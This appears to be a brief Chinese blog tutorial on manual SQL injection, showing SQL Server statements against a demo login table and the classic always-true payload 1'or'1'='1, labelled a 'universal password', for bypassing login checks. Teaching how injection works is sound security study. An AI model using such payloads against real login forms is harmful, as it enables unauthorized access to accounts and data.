浅谈分析普通sql手工注入

最新推荐文章于 2023-06-09 14:47:39 发布

piracy123

最新推荐文章于 2023-06-09 14:47:39 发布

阅读量394

点赞数

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/piracy5566/article/details/38070273

本文通过具体的SQL语句示例，介绍了SQL注入攻击的基本原理和技术手段。包括如何构造恶意SQL语句来绕过身份验证、读取敏感信息及执行非法操作等内容。

select pwdcompare('123',(select MM from t_login where YHM='admxx'or'1'='1'))
insert t_login values('piracy','xx','xd',pwdencrypt('123'))
select *from t_login
当只有一个用户并且知道密码的时候才可能注入sql
create table logint
(
username nvarchar(20) not null,
userpwd nvarchar(20)not null
)
select *from logint
insert logint values('admin','123')
select userpwd from logint where username='admin'or'1'='1' and userpwd='1'or'1'='1'
只有有值就可以注入
万能密码
1'or'1'='1